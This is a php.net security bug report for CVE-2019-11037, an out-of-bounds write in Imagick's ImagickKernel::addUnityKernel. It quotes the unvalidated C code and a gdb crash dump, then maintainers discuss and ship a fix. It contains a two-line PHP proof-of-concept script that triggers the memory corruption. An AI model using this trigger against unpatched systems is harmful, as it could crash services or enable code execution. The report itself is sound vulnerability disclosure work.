php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #77791 an oob write in ImagickKernel::addUnityKernel
Submitted: 2019-03-25 08:11 UTC Modified: 2019-05-02 18:05 UTC
From: mayatspine at gmail dot com Assigned: danack (profile)
Status: Closed Package: imagick (PECL)
PHP Version: Irrelevant OS: linux
Private report: No CVE-ID: 2019-11037
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: mayatspine at gmail dot com
New email:
PHP Version: OS:

 

 [2019-03-25 08:11 UTC] mayatspine at gmail dot com
Description:
------------
the ImagickKernel::fromMatrix will create a kernel object from Matrix use the following code.
==================================

if (origin_array == NULL) {
	if (((num_columns%2) == 0) || ((num_rows%2) == 0)) {
		php_imagick_throw_exception(IMAGICKKERNEL_CLASS, MATRIX_ORIGIN_REQUIRED TSRMLS_CC);
		goto cleanup;
	}
	origin_x = (num_columns - 1) >> 1;
	origin_y = (num_rows - 1) >> 1;
}
else {
	origin_array_ht = Z_ARRVAL_P(origin_array);
	if (zend_hash_index_find(origin_array_ht, 0, (void**)&tmp) == SUCCESS) {
		origin_x = Z_LVAL_PP(tmp);
	}
	else {
		php_imagick_throw_exception(IMAGICKKERNEL_CLASS, MATRIX_ORIGIN_REQUIRED TSRMLS_CC);
		goto cleanup;
	}

	if (zend_hash_index_find(origin_array_ht, 1, (void**)&tmp) == SUCCESS) {
		origin_y = Z_LVAL_PP(tmp);
	}
	else {
		php_imagick_throw_exception(IMAGICKKERNEL_CLASS, MATRIX_ORIGIN_REQUIRED TSRMLS_CC);
		goto cleanup;
	}
}

kernel_info = imagick_createKernel(values, num_columns, num_rows, origin_x, origin_y);
createKernelZval(return_value, kernel_info TSRMLS_CC);
==================================

and in imagick_createKernel:

==================================
kernel_info->width = width;
kernel_info->height = height;

kernel_info->x = origin_x;
kernel_info->y = origin_y;
==================================
notice that the origin_x and the origin_y are passed to x and y whithout verify . It cause a long number overflow in ImagickKernel::addUnityKernel which we can use it to oob write the origin memory value, maybe lead to code execution.

the UnityAddKernelInfo function:
==================================
MagickExport void UnityAddKernelInfo(KernelInfo *kernel,
  const double scale)
{
  /* do the other kernels in a multi-kernel list first */
  if ( kernel->next != (KernelInfo *) NULL)
    UnityAddKernelInfo(kernel->next, scale);

  /* Add the scaled unity kernel to the existing kernel */
  kernel->values[kernel->x+kernel->y*kernel->width] += scale; // overflow!!!!!!!
  CalcKernelMetaData(kernel);  /* recalculate the meta-data */

  return;


}
=================================


Program received signal SIGSEGV, Segmentation fault.
 [----------------------------------registers-----------------------------------]
RAX: 0x20555555db5ee0
RBX: 0x555555db5dc0 --> 0x24 ('$')
RCX: 0x0
RDX: 0x555555db5f00 --> 0x3ff0000000000000
RSI: 0x7fffffffcb70 --> 0x405ec00000000000
RDI: 0x555555db5dc0 --> 0x24 ('$')
RBP: 0x7ffff3871000 ("$a->addUnityKernel(123);\n")
RSP: 0x7fffffffcb50 --> 0x7ffff38120b0 --> 0x0
RIP: 0x7fffec97779e (<UnityAddKernelInfo+62>:	addsd  xmm1,QWORD PTR [rax])
R8 : 0x0
R9 : 0x0
R10: 0x750
R11: 0x7fffec977760 (<UnityAddKernelInfo>:	push   rbx)
R12: 0x555555d564a0 --> 0x10000000001
R13: 0x555555b99700 --> 0x0
R14: 0x7ffff3812030 --> 0x7ffff3873040 --> 0x555555834cd0 (push   r13)
R15: 0x7ffff3873040 --> 0x555555834cd0 (push   r13)
EFLAGS: 0x10216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7fffec977791 <UnityAddKernelInfo+49>:	imul   rax,QWORD PTR [rbx+0x8]
   0x7fffec977796 <UnityAddKernelInfo+54>:	add    rax,QWORD PTR [rbx+0x18]
   0x7fffec97779a <UnityAddKernelInfo+58>:	lea    rax,[rdx+rax*8]
=> 0x7fffec97779e <UnityAddKernelInfo+62>:	addsd  xmm1,QWORD PTR [rax]
   0x7fffec9777a2 <UnityAddKernelInfo+66>:	movsd  QWORD PTR [rax],xmm1
   0x7fffec9777a6 <UnityAddKernelInfo+70>:	add    rsp,0x10
   0x7fffec9777aa <UnityAddKernelInfo+74>:	pop    rbx
   0x7fffec9777ab <UnityAddKernelInfo+75>:	jmp    0x7fffec96d810
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffcb50 --> 0x7ffff38120b0 --> 0x0
0008| 0x7fffffffcb58 --> 0x555555c29870 --> 0x7fffed017000 --> 0x10102464c457f
0016| 0x7fffffffcb60 --> 0x7ffff38120b0 --> 0x0
0024| 0x7fffffffcb68 --> 0x7fffed05ec46 (<zim_imagickkernel_addunitykernel+70>:)
0032| 0x7fffffffcb70 --> 0x405ec00000000000
0040| 0x7fffffffcb78 --> 0x663ee4d6eedeba00
0048| 0x7fffffffcb80 --> 0x7ffff38120b0 --> 0x0
0056| 0x7fffffffcb88 --> 0x555555835456 (jmp    0x555555834f30)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007fffec97779e in UnityAddKernelInfo ()
   from /usr/lib/x86_64-linux-gnu/libMagickCore-6.Q16.so.2
gdb-peda$

here is the gdb backtrace after running the following test script

Test script:
---------------
$a = ImagickKernel::fromMatrix([[1,2,3],[2,2,2],[3,2,1]],[0xffffffffffff,0xffffffffffff]);
$a->addUnityKernel(123);


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2019-03-26 04:34 UTC] stas@php.net
-Assigned To: +Assigned To: scottmac
 [2019-03-26 11:30 UTC] cmb@php.net
-Assigned To: scottmac +Assigned To: danack
 [2019-03-26 11:30 UTC] cmb@php.net
Assigning to Dan, who is more active. :)
 [2019-03-26 15:22 UTC] danack@php.net
Thanks for the report. There is a fix here:

https://github.com/mkoppanen/imagick/compare/bugfix_77791?expand=1

Please could you review if possible.

I'll obviously need to do a release soon.
 [2019-03-27 02:30 UTC] mayatspine at gmail dot com
It seems like that origin_y should >= num_rows instead of num_columns?
 [2019-03-27 02:31 UTC] mayatspine at gmail dot com
at line 545
 [2019-03-27 14:05 UTC] danack@php.net
Thanks. 

I've fixed that now and have added explicit test for that scenario.

I'll do the release in a day or two, as need to merge another PR to mark some stuff deprecated, as this will be the last planned release of Imagick to support PHP < 7
 [2019-05-02 14:45 UTC] danack@php.net
This issue has been assigned CVE-2019-11037
 [2019-05-02 17:21 UTC] stas@php.net
-CVE-ID: +CVE-ID: 2019-11037
 [2019-05-02 18:05 UTC] stas@php.net
-Status: Assigned +Status: Closed
 
PHP Copyright © 2001-2025 The PHP Group
All rights reserved.
Last updated: Wed Jan 15 04:01:28 2025 UTC